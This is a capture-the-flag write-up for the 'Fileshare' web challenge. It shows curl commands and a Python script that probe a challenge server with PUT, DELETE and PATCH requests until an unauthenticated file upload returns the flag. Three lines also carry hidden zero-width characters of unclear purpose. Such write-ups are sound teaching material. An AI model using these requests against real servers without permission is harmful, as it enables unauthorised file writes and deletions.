Fileshare

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: http_method_discovery, put_upload

Summary

A file sharing service.

Fileshare — Web Kids 2.0

Description

"Check out new fileshare by blzh"

A file sharing service.

Analysis

The service provides file upload/download functionality. Standard usage (GET, POST) doesn't reveal anything interesting. However, the server supports non-standard HTTP methods.

Key observations:

• There's an endpoint for file uploads (uploads)
• Standard methods don't give the flag
• Task name "Fileshare" + category "burp" hints at testing HTTP methods

Solution

Step 1: Testing HTTP methods

Check which HTTP methods the server supports: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 bash read-only • copy allowed Copy
# OPTIONS request to determine allowed methods
curl -X OPTIONS https://burp.2537ly.space/task3/ -v

# Test various methods
curl -X PUT https://burp.2537ly.space/task3/uploads/test.txt -d "test"
curl -X DELETE https://burp.2537ly.space/task3/uploads/test.txt
curl -X PATCH https://burp.2537ly.space/task3/uploads/test.txt -d "test"

Step 2: PUT request

Send a PUT request to the upload endpoint:

 bash read-only • copy allowed Copy
curl -X PUT https://burp.2537ly.space/task3/uploads/myfile.txt \
     -H "Content-Type: text/plain" \
     -d "any content"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Result

The server returns the flag in response to the PUT request.

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "https://burp.2537ly.space/task3/uploads/test.txt"

# Test different HTTP methods
methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD']

for method in methods:
    r = requests.request(method, url, data="test")
    print(f"{method}: {r.status_code} - {r.text[:100] if r.text else 'empty'}")
    if "CTF{" in r.text or "flag" in r.text.lower():
        print(f"\n[+] Flag found with {method}!")
        print(r.text)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍